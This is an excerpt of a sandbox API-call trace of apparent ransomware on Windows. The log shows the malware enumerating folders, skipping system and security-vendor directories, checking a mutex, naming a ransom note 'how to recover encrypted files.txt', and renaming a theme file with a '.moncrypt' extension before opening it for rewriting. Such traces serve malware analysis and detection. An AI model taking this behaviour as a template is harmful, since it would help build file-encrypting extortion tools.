CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0052.810] GetLastError () returned 0x2 [0052.810] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0052.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18?T\x18\x81")) returned 0xffffffff [0052.810] GetLastError () returned 0x2 [0052.810] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0052.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0052.811] GetLastError () returned 0x2 [0052.811] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0052.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0052.811] GetLastError () returned 0x2 [0052.811] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0052.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a438, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@奌U企@\x18?T\x18\x97")) returned 0xffffffff [0052.812] GetLastError () returned 0x2 [0052.812] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.812] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0052.812] GlobalLock (hMem=0x440004) returned 0x550170 [0052.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.812] GlobalUnlock (hMem=0x440004) returned 0 [0052.812] GlobalLock (hMem=0x440004) returned 0x550170 [0052.812] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.812] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.812] GlobalUnlock (hMem=0x440004) returned 0 [0052.812] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.812] GlobalUnlock (hMem=0x44000c) returned 0 [0052.812] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.812] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.812] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0052.812] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.812] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.812] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0052.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.813] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0052.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.813] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0052.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a458, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.813] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.813] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.813] GlobalUnlock (hMem=0x44000c) returned 0 [0052.813] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.813] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.813] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.813] GlobalUnlock (hMem=0x44000c) returned 0 [0052.813] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.813] GlobalUnlock (hMem=0x440004) returned 0 [0052.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0052.813] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.813] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0052.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0052.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0052.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0052.814] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.814] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a3b0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.815] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\refined\\") returned 0x40 [0052.815] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0052.815] GlobalLock (hMem=0x440004) returned 0x550170 [0052.815] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.815] GlobalUnlock (hMem=0x440004) returned 0 [0052.815] GlobalLock (hMem=0x440004) returned 0x550170 [0052.815] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.815] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.815] GlobalUnlock (hMem=0x440004) returned 0 [0052.815] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.815] GlobalUnlock (hMem=0x44000c) returned 0 [0052.815] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.815] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.815] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.815] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.815] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.816] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.816] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.816] GlobalUnlock (hMem=0x44000c) returned 0 [0052.816] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.816] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.816] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.816] GlobalUnlock (hMem=0x44000c) returned 0 [0052.816] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.816] GlobalUnlock (hMem=0x440004) returned 0 [0052.816] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.816] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.816] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0052.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 75 [0052.816] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.817] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.817] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.817] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.817] GlobalUnlock (hMem=0x440004) returned 0 [0052.817] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.817] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.817] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.817] GlobalUnlock (hMem=0x440004) returned 0 [0052.817] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.817] GlobalUnlock (hMem=0x44000c) returned 0 [0052.817] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.817] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0052.818] CloseHandle (hObject=0x18c) returned 1 [0052.818] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\я")) returned 1 [0052.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 0x54e240 [0052.819] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.819] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.819] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", dwFileAttributes=0x20) returned 1 [0052.820] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.moncrypt")) returned 1 [0052.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.821] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.821] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xb30e [0052.821] 